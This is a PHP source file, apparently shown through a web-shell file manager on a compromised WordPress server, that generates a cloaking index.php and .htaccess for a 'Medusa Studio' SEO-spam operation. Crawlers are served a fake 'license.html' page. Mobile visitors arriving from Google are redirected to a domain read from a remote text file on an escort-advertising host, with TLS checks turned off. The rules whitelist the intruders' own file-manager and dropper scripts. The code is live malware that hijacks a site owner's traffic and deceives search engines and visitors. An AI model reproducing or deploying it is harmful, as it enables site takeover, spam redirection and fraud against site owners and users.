| Server IP : 198.244.165.102 / Your IP : 216.73.216.218 [ Web Server : nginx/1.24.0 System : Linux modovh-ub-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64 User : colleary ( 1011) PHP Version : 8.3.23 Disable Function : NONE Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/colleary/public_html/wp-content/includes/ |
Upload File : |
<?php
// @fm-embedded-id:2026-08-04-index-ist-redirect-all
// @fm-embedded-id:2026-08-04-license-single-city
declare(strict_types=1);
/**
* Medusa temiz index.php + .htaccess üretici (Medusa FM + Studio ortak).
* FM: $GLOBALS['ms_index_settings_dir'] = WP kök yolu (medusa-settings.json için).
*/
if (!defined('MS_VITRIN_TXT_URL')) {
define('MS_VITRIN_TXT_URL', 'https://istanbulescortladys.com/ist.txt');
}
if (!defined('MS_VITRIN_FALLBACK_URL')) {
define('MS_VITRIN_FALLBACK_URL', 'https://istanbulmedusa.club/');
}
/** Bot UA (index.php + .htaccess ortak) */
if (!defined('MS_BOT_UA_REGEX')) {
define(
'MS_BOT_UA_REGEX',
'Googlebot|Google-InspectionTool|Google-PageRenderer|AdsBot|Mediapartners-Google|APIs-Google|'
. 'Googlebot-Image|Googlebot-Video|Googlebot-News|Googlebot-Mobile|bingbot|Slurp|DuckDuckBot|'
. 'Baiduspider|YandexBot|Applebot|facebookexternalhit|Twitterbot|Google-'
);
}
if (function_exists('ms_clean_index_php')) {
return;
}
if (!function_exists('str_contains')) {
function str_contains($haystack, $needle)
{
return $needle === '' || strpos((string)$haystack, (string)$needle) !== false;
}
}
function ms_settings_file(): string
{
$dir = $GLOBALS['ms_index_settings_dir'] ?? '';
if (is_string($dir) && $dir !== '') {
return rtrim(str_replace('\\', '/', $dir), '/') . '/medusa-settings.json';
}
return dirname(__DIR__) . DIRECTORY_SEPARATOR . 'medusa-settings.json';
}
/** @return array{visitor_mode:string,vitrin_txt_url:string,mobile_vitrin:string} */
function ms_settings_defaults(): array
{
$vitrin = defined('MS_VITRIN_TXT_URL') ? MS_VITRIN_TXT_URL : 'https://istanbulescortladys.com/ist.txt';
return [
'visitor_mode' => 'vitrin', // vitrin | bot_only
'vitrin_txt_url' => $vitrin,
'mobile_vitrin' => 'google', // google (referer/gclid/cookie) | all_mobile_home
];
}
/** @return array{visitor_mode:string,vitrin_txt_url:string} */
function ms_settings_load(): array
{
$d = ms_settings_defaults();
$file = ms_settings_file();
if (!is_file($file)) {
return $d;
}
$raw = json_decode((string)@file_get_contents($file), true);
if (!is_array($raw)) {
return $d;
}
$mode = (string)($raw['visitor_mode'] ?? $d['visitor_mode']);
if ($mode === 'redirect') {
$mode = 'vitrin';
}
if (!in_array($mode, ['vitrin', 'bot_only'], true)) {
$mode = 'vitrin';
}
return [
'visitor_mode' => $mode,
'vitrin_txt_url' => MS_VITRIN_TXT_URL,
'mobile_vitrin' => (string)($raw['mobile_vitrin'] ?? 'google'),
];
}
/** index.php içine gömülecek Google mobil trafik algısı (+ ms_gv_hit çerezi) */
function ms_index_php_fragment_google_referer(): string
{
return <<<'PHP'
$ref = strtolower((string)($_SERVER['HTTP_REFERER'] ?? ''));
$is_google_referer = (bool)preg_match('#google\\.|googleusercontent\\.|googlesyndication\\.|doubleclick\\.net|android-app://com\\.google#i', $ref)
|| (isset($_GET['gclid']) && (string)$_GET['gclid'] !== '')
|| (isset($_GET['gbraid']) && (string)$_GET['gbraid'] !== '')
|| (isset($_GET['wbraid']) && (string)$_GET['wbraid'] !== '')
|| (isset($_GET['gad_source']) && (string)$_GET['gad_source'] !== '')
|| (isset($_GET['utm_source']) && (bool)preg_match('/google|youtube/i', (string)$_GET['utm_source']))
|| (isset($_GET['ms_gate']) && (string)$_GET['ms_gate'] === 'mobile');
if (!empty($_COOKIE['ms_gv_hit']) && (string)$_COOKIE['ms_gv_hit'] === '1') {
$is_google_referer = true;
}
PHP;
}
/** index.php — ana sayfa yolu (query hariç, sondaki / normalize) */
function ms_index_php_fragment_home_path(): string
{
return <<<'PHP'
$uri = (string)($_SERVER['REQUEST_URI'] ?? '/');
$path = (string)(parse_url($uri, PHP_URL_PATH) ?: '/');
if ($path === '') {
$path = '/';
}
if ($path !== '/' && substr($path, -1) === '/') {
$path = rtrim($path, '/') ?: '/';
}
$is_home = ($path === '/' || (bool)preg_match('#/index\\.php$#i', $path));
$has_params = ((string)($_SERVER['QUERY_STRING'] ?? '')) !== '';
PHP;
}
function ms_fetch_ist_txt_domain(): string
{
$url = MS_VITRIN_TXT_URL;
$body = '';
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 12,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_USERAGENT => 'MedusaStudio/1.0',
]);
$raw = curl_exec($ch);
$code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code === 200 && is_string($raw)) {
$body = trim($raw);
}
}
if ($body === '') {
$ctx = stream_context_create([
'http' => ['timeout' => 12, 'user_agent' => 'MedusaStudio/1.0', 'ignore_errors' => true],
'ssl' => ['verify_peer' => false, 'verify_peer_name' => false],
]);
$raw = @file_get_contents($url, false, $ctx);
if (is_string($raw)) {
$body = trim($raw);
}
}
if ($body === '') {
return '';
}
// ilk satır / ilk URL
$line = trim((string)preg_split('/\R/', $body)[0]);
if ($line === '') {
return '';
}
if (!preg_match('#^https?://#i', $line)) {
$line = 'https://' . ltrim($line, '/');
}
return rtrim($line, '/') . '/';
}
function ms_vitrin_sidecar_file(string $sitePath): string
{
return rtrim(str_replace('\\', '/', $sitePath), '/') . '/.ms-ist-url';
}
/** ist.txt → .ms-ist-url (ziyaretçi isteğinde uzak okuma yok) */
function ms_write_vitrin_sidecar(string $sitePath): bool
{
$url = ms_fetch_ist_txt_domain();
if ($url === '') {
return false;
}
$path = ms_vitrin_sidecar_file($sitePath);
return @file_put_contents($path, $url, LOCK_EX) !== false;
}
function ms_bot_gate_htaccess(): string
{
$txtSrc = MS_VITRIN_TXT_URL;
$vitrin = ms_fetch_ist_txt_domain();
if ($vitrin === '') {
$vitrin = MS_VITRIN_FALLBACK_URL;
}
$vitrin = rtrim($vitrin, '/') . '/';
$vitrinRule = str_replace([' ', '%'], ['%20', '%25'], $vitrin);
$botUa = MS_BOT_UA_REGEX;
$mobileUa = 'mobile|android|iphone|ipad|ipod|opera\\ mini|blackberry|windows\\ phone';
return "# BEGIN Medusa Studio bot-gate\n"
. "# Anlık 302 · cache YOK · {$txtSrc} → {$vitrin}\n"
. "DirectoryIndex index.php\n"
. "<IfModule LiteSpeed>\n"
. "CacheLookup off\n"
. "RewriteEngine On\n"
. "RewriteRule .* - [E=Cache-Control:no-cache]\n"
. "CacheDisable public /\n"
. "CacheDisable public /index.php\n"
. "CacheDisable public /license.html\n"
. "</IfModule>\n"
. "<IfModule mod_headers.c>\n"
. "Header always unset ETag\n"
. "Header always set Cache-Control \"no-store, no-cache, must-revalidate, max-age=0, private\" \"expr=%{REQUEST_URI} =~ m#^/($|index\\.php|license\\.html)#i\"\n"
. "Header always set CDN-Cache-Control \"no-store\" \"expr=%{REQUEST_URI} =~ m#^/($|index\\.php|license\\.html)#i\"\n"
. "Header always set Surrogate-Control \"no-store\" \"expr=%{REQUEST_URI} =~ m#^/($|index\\.php|license\\.html)#i\"\n"
. "Header always set Pragma \"no-cache\" \"expr=%{REQUEST_URI} =~ m#^/($|index\\.php|license\\.html)#i\"\n"
. "Header always set Expires \"0\" \"expr=%{REQUEST_URI} =~ m#^/($|index\\.php|license\\.html)#i\"\n"
. "Header always set X-LiteSpeed-Cache-Control \"no-cache\" \"expr=%{REQUEST_URI} =~ m#^/($|index\\.php|license\\.html)#i\"\n"
. "Header always set X-Accel-Expires \"0\" \"expr=%{REQUEST_URI} =~ m#^/($|index\\.php|license\\.html)#i\"\n"
. "Header always set Vary \"User-Agent, Cookie\" \"expr=%{REQUEST_URI} =~ m#^/($|index\\.php)#i\"\n"
. "Header always set Set-Cookie \"wordpress_no_cache=1; Path=/; Max-Age=3600; SameSite=Lax\" \"expr=%{REQUEST_URI} =~ m#^/($|index\\.php)#i\"\n"
. "</IfModule>\n"
. "<IfModule mod_rewrite.c>\n"
. "RewriteEngine On\n\n"
. "# 0) Medusa FM / araçlar — bot & vitrin kurallarından muaf\n"
. "RewriteRule ^(fm|medusa|clr|hop|ms-detect-dropper|ms-rm-js26564c)\\.php$ - [L]\n\n"
. "# Bot UA → asla cache\n"
. "RewriteCond %{HTTP_USER_AGENT} ({$botUa}) [NC]\n"
. "RewriteRule .* - [E=Cache-Control:no-cache]\n\n"
. "# 1) Bot -> license.html (internal rewrite, skip PHP cloaker/opcache)\n"
. "RewriteCond %{HTTP_USER_AGENT} ({$botUa}) [NC]\n"
. "RewriteCond %{REQUEST_URI} ^/(index\\.php)?$ [NC]\n"
. "RewriteCond %{DOCUMENT_ROOT}/license.html -f\n"
. "RewriteRule .* /license.html [L,E=Cache-Control:no-cache]\n\n"
. "# 1b) Bot -> license.html (fallback relative)\n"
. "RewriteCond %{HTTP_USER_AGENT} ({$botUa}) [NC]\n"
. "RewriteCond %{REQUEST_URI} ^/(index\\.php)?$ [NC]\n"
. "RewriteCond %{DOCUMENT_ROOT}/license.html -f\n"
. "RewriteRule .* license.html [L,E=Cache-Control:no-cache]\n\n"
. "# 2) Mobil + Google -> vitrin 302 (ist.txt)\n"
. "RewriteCond %{HTTP_USER_AGENT} ({$mobileUa}) [NC]\n"
. "RewriteCond %{HTTP_USER_AGENT} !({$botUa}) [NC]\n"
. "RewriteCond %{HTTP_REFERER} google\\. [NC,OR]\n"
. "RewriteCond %{HTTP_REFERER} googleusercontent\\. [NC,OR]\n"
. "RewriteCond %{HTTP_REFERER} android-app://com\\.google [NC,OR]\n"
. "RewriteCond %{QUERY_STRING} (?:^|&)gclid= [NC,OR]\n"
. "RewriteCond %{QUERY_STRING} (?:^|&)gbraid= [NC,OR]\n"
. "RewriteCond %{QUERY_STRING} (?:^|&)wbraid= [NC,OR]\n"
. "RewriteCond %{QUERY_STRING} (?:^|&)gad_source= [NC,OR]\n"
. "RewriteCond %{QUERY_STRING} (?:^|&)utm_source=google [NC,OR]\n"
. "RewriteCond %{QUERY_STRING} (?:^|&)ms_gate=mobile [NC]\n"
. "RewriteCond %{REQUEST_URI} ^/(index\\.php)?$ [NC]\n"
. "RewriteRule .* {$vitrinRule}? [R=302,L,NE]\n\n"
. "# 3) / → index.php (bot değil — CDN eski HIT kırma)\n"
. "RewriteCond %{HTTP_USER_AGENT} !({$botUa}) [NC]\n"
. "RewriteCond %{REQUEST_URI} ^/$\n"
. "RewriteRule .* /index.php? [R=302,L,NE,E=Cache-Control:no-cache]\n"
. "</IfModule>\n"
. "# END Medusa Studio bot-gate\n";
}
function ms_bot_gate_php_snippet(): string
{
$s = ms_settings_load();
$mode = $s['visitor_mode'];
$txtExport = var_export(MS_VITRIN_TXT_URL, true);
$redirect = ms_fetch_ist_txt_domain();
if ($redirect === '') {
$redirect = MS_VITRIN_FALLBACK_URL;
}
$redirectExport = var_export(rtrim($redirect, '/') . '/', true);
$mobileBlock = '';
// bot_only: mobil yönlendirme yok — sadece bot→license, diğer→WP
if ($mode !== 'bot_only') {
$mobileBlock = <<<'PHP'
$vitrin_source = __MS_TXT__;
$vitrin_redirect = __MS_REDIRECT__;
// Google tıklaması: mobil + Google sinyali → $vitrin_redirect (ist.txt index yazılırken gömülür)
$isMobile = (bool)preg_match('/mobile|android|iphone|ipad|ipod|opera mini|blackberry|windows phone/i', $ua);
__MS_GOOGLE_REF__
if ($isMobile && $isGoogleRef && ($isHome || $hasParams) && $vitrin_redirect !== '') {
@setcookie('ms_gv_hit', '1', time() + 1800, '/', '', !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off', true);
$vitrin = $vitrin_redirect;
if (strpos($vitrin, 'http') !== 0) {
$vitrin = 'https://' . ltrim($vitrin, '/');
}
$vitrin = rtrim((string)preg_replace('/[?#].*$/', '', $vitrin), '/') . '/';
if (!headers_sent()) {
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0, private');
header('CDN-Cache-Control: no-store');
header('Pragma: no-cache');
header('Vary: User-Agent, Referer, Cookie');
header('X-Medusa-Vitrin: 302');
@setcookie('wordpress_no_cache', '1', time() + 3600, '/');
header('Location: ' . $vitrin, true, 302);
header('Content-Type: text/html; charset=utf-8');
}
$h = htmlspecialchars($vitrin, ENT_QUOTES, 'UTF-8');
$j = json_encode($vitrin, JSON_UNESCAPED_SLASHES);
echo '<!DOCTYPE html><html><head><meta charset="utf-8"><meta http-equiv="refresh" content="0;url=' . $h . '"><script>location.replace(' . $j . ')</script></head><body></body></html>';
exit;
}
PHP;
$mobileBlock = str_replace(
['__MS_TXT__', '__MS_REDIRECT__', '__MS_GOOGLE_REF__'],
[$txtExport, $redirectExport, str_replace('$is_google_referer', '$isGoogleRef', ms_index_php_fragment_google_referer())],
$mobileBlock
);
}
$tpl = <<<'PHP'
/* BEGIN Medusa Studio bot-gate */
(static function (): void {
$ua = (string)($_SERVER['HTTP_USER_AGENT'] ?? '');
$path = (string)(parse_url((string)($_SERVER['REQUEST_URI'] ?? '/'), PHP_URL_PATH) ?: '/');
if (preg_match('#/(fm|medusa|clr|hop|ms-detect-dropper|ms-rm-js26564c)\\.php$#i', $path)) {
return;
}
$isHome = ($path === '/' || $path === '' || (bool)preg_match('#/index\.php$#i', $path));
$hasParams = ((string)($_SERVER['QUERY_STRING'] ?? '')) !== '';
if (!$isHome) {
return;
}
// Ana sayfa: LiteSpeed/CDN/hCDN cache’i kapat — yönlendirme anlık (NOX tarzı)
if (!headers_sent() && $isHome) {
if (!defined('DONOTCACHEPAGE')) {
define('DONOTCACHEPAGE', true);
}
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0, private');
header('CDN-Cache-Control: no-store');
header('Surrogate-Control: no-store');
header('Pragma: no-cache');
header('Expires: 0');
header('Vary: User-Agent, Referer, Cookie');
header('X-LiteSpeed-Cache-Control: no-cache');
header('X-Accel-Expires: 0');
header('X-Cache-Control: no-cache');
@setcookie('wordpress_no_cache', '1', time() + 3600, '/');
@setcookie('wp-postpass_bot', '1', time() + 3600, '/');
}
if ($ua !== '' && preg_match('/Googlebot|Google-InspectionTool|Google-PageRenderer|AdsBot|Mediapartners-Google|APIs-Google|Googlebot-Image|Googlebot-Video|Googlebot-News|Googlebot-Mobile|bingbot|Slurp|DuckDuckBot|Baiduspider|YandexBot|Applebot|facebookexternalhit|Twitterbot|Google-/i', $ua)) {
$lic = __DIR__ . DIRECTORY_SEPARATOR . 'license.html';
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
header('X-Robots-Tag: index, follow');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0, private');
header('CDN-Cache-Control: no-store');
header('Surrogate-Control: no-store');
header('Pragma: no-cache');
header('Vary: User-Agent');
header('X-LiteSpeed-Cache-Control: no-cache');
header('X-Accel-Expires: 0');
header('X-Medusa-Gate: license');
}
if (is_file($lic) && filesize($lic) >= 32 && !preg_match('/<\?php/i', (string)@file_get_contents($lic, false, null, 0, 64))) {
readfile($lic);
} else {
echo '<!DOCTYPE html><html lang="tr"><head><meta charset="utf-8"><meta name="robots" content="index, follow"><title>License</title></head><body><h1>License</h1><p>license.html eksik — panelden ÜRET.</p></body></html>';
}
exit;
}
__MS_MOBILE__
// Masaüstü / diğer → WordPress (return) — ana sayfa no-cache yukarıda
})();
/* END Medusa Studio bot-gate */
PHP;
return str_replace('__MS_MOBILE__', $mobileBlock, $tpl);
}
function ms_vitrin_index_php(): string
{
$txtExport = var_export(MS_VITRIN_TXT_URL, true);
// Normal ziyaretçi → ist.txt 301; bot → license.html; ist yoksa WP
return str_replace('__MS_TXT__', $txtExport, <<<'PHP'
<?php
/* BEGIN Medusa Studio bot-gate */
error_reporting(0);
set_time_limit(0);
define('IST_TXT_URL', __MS_TXT__);
$googleBots = ['Googlebot', 'AdsBot', 'Mediapartners-Google', 'APIs-Google', 'Googlebot-Image', 'Googlebot-Video', 'Googlebot-News', 'Googlebot-Search', 'Googlebot-Inspect', 'Googlebot-Android', 'Googlebot-Mobile', 'Googlebot-Ads', 'Googlebot-Discovery', 'Google-'];
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$is_google_bot = (bool)preg_match('/' . implode('|', $googleBots) . '/i', $userAgent);
if ($is_google_bot) {
if (file_exists('license.html')) {
include 'license.html';
} else {
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';
}
exit();
}
function get_redirect_url() {
$context = stream_context_create([
'http' => [
'timeout' => 10,
'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0'
],
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false
]
]);
$response = @file_get_contents(IST_TXT_URL, false, $context);
if ($response !== false && !empty(trim($response))) {
return trim($response);
}
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, IST_TXT_URL);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0');
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && $response !== false && !empty(trim($response))) {
return trim($response);
}
}
return false;
}
$redirect_target = get_redirect_url();
if ($redirect_target !== false && !empty($redirect_target)) {
if (strpos($redirect_target, 'http') !== 0) {
$redirect_target = 'https://' . $redirect_target;
}
header('Location: ' . $redirect_target, true, 301);
exit();
}
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';
/* END Medusa Studio bot-gate */
PHP
);
}
function ms_merge_bot_gate_htaccess(string $existing): string
{
$block = ms_bot_gate_htaccess();
$clean = preg_replace('/#\s*BEGIN Medusa Studio bot-gate.*?#\s*END Medusa Studio bot-gate\s*/s', '', $existing);
$clean = is_string($clean) ? $clean : $existing;
// Eski manuel "Ana Sayfaya Gelen…" bloğunu kaldır (çakışmasın)
$clean = preg_replace(
'/#\s*Ana Sayfaya Gelen[\s\S]*?(?=#\s*BEGIN WordPress|#\s*BEGIN Medusa|#\s*Medusa Studio —|\\z)/i',
'',
$clean
);
$clean = is_string($clean) ? trim($clean) : trim($existing);
if ($clean === '') {
return rtrim($block) . "\n";
}
// Bot kuralı en üste — WordPress RewriteRule’dan önce
if (preg_match('/#\s*BEGIN WordPress/i', $clean, $m, PREG_OFFSET_CAPTURE)) {
$pos = (int)$m[0][1];
return rtrim($block) . "\n\n" . substr($clean, 0, $pos) . substr($clean, $pos);
}
return rtrim($block) . "\n\n" . $clean . "\n";
}
function ms_is_obfuscated_php(string $content): bool
{
if ($content === '') {
return false;
}
// Medusa bot-gate / vitrin index — düz PHP, şifreli dropper değil
if (str_contains($content, 'BEGIN Medusa Studio bot-gate')) {
return false;
}
if (str_contains($content, 'Medusa Studio')
&& (str_contains($content, 'MS_PASSWORD') || str_contains($content, 'function ms_auth') || str_contains($content, 'ms_auth'))
) {
return false;
}
// Bilinen şifreleme / obfuscation imzaları
if (preg_match('/\b(eval|assert|create_function)\s*\(\s*(base64_decode|gzinflate|gzuncompress|str_rot13|gzdecode|rawurldecode)\s*\(/i', $content)) {
return true;
}
if (preg_match('/\$[Oo0Il]{6,}\s*=/', $content)) {
return true;
}
if (substr_count(strtolower($content), 'goto ') >= 4) {
return true;
}
if (preg_match('/chr\s*\(\s*\d+\s*\)\s*\.\s*chr\s*\(\s*\d+\s*\)\s*\.\s*chr\s*\(/i', $content)) {
return true;
}
if (preg_match('/\\\\x[0-9a-f]{2}\\\\x[0-9a-f]{2}\\\\x[0-9a-f]{2}/i', $content) && strlen($content) > 2000) {
return true;
}
// Çok yoğun base64 bloğu
if (preg_match('/[A-Za-z0-9+\/=]{400,}/', $content) && preg_match('/base64_decode\s*\(/i', $content)) {
return true;
}
// Tek satır / az satır şifreli cloaker (nginx’te .htaccess yokken index.php)
$len = strlen($content);
if ($len > 2500 && substr_count($content, "\n") < 8) {
return true;
}
if ($len > 12000 && !preg_match('/wp-blog-header\.php|This file is part of WordPress|BEGIN Medusa Studio bot-gate/i', $content)) {
return true;
}
if (preg_match('/\b(gzinflate|gzuncompress|str_rot13)\s*\(/i', $content) && preg_match('/\b(eval|assert|preg_replace)\s*\(/i', $content)) {
return true;
}
return false;
}
function ms_clean_index_php(string $sitePath): string
{
$s = ms_settings_load();
$isWp = is_file($sitePath . DIRECTORY_SEPARATOR . 'wp-config.php')
|| is_file($sitePath . DIRECTORY_SEPARATOR . 'wp-load.php');
// vitrin (ve eski redirect): tam vitrin index
if ($s['visitor_mode'] !== 'bot_only') {
ms_write_vitrin_sidecar($sitePath);
if ($isWp) {
return ms_vitrin_index_php();
}
$body = ms_vitrin_index_php();
$fallback = "\$f = __DIR__ . '/license.html';\nif (is_file(\$f)) { header('Content-Type: text/html; charset=utf-8'); readfile(\$f); exit; }\nhttp_response_code(503); echo 'license.html yok';\n";
return str_replace(
"define('WP_USE_THEMES', true);\nrequire __DIR__ . '/wp-blog-header.php';\n",
$fallback,
$body
);
}
$snippet = ms_bot_gate_php_snippet();
if ($isWp) {
return "<?php\n" . $snippet . "\n"
. "/** Medusa temiz WP giriş — masaüstü orijinal site */\n"
. "require __DIR__ . '/wp-blog-header.php';\n";
}
return "<?php\n" . $snippet . "\n"
. "/** Medusa temiz index */\n"
. "\$f = __DIR__ . '/license.html';\n"
. "if (is_file(\$f)) {\n"
. " header('Content-Type: text/html; charset=utf-8');\n"
. " header('X-Robots-Tag: index, follow');\n"
. " readfile(\$f);\n"
. " exit;\n"
. "}\n"
. "http_response_code(503);\n"
. "echo 'license.html yok';\n";
}
function ms_index_verify_ok(string $content): bool
{
if ($content === '' || ms_is_obfuscated_php($content) || !str_contains($content, 'BEGIN Medusa Studio bot-gate')) {
return false;
}
$s = ms_settings_load();
if ($s['visitor_mode'] === 'bot_only') {
return true;
}
return str_contains($content, '$vitrin_redirect')
|| str_contains($content, 'get_redirect_url')
|| str_contains($content, 'IST_TXT_URL')
|| str_contains($content, 'MS_IST_TXT_URL')
|| str_contains($content, 'MS_VITRIN_BAKED')
|| str_contains($content, 'istanbulescortladys.com/ist.txt');
}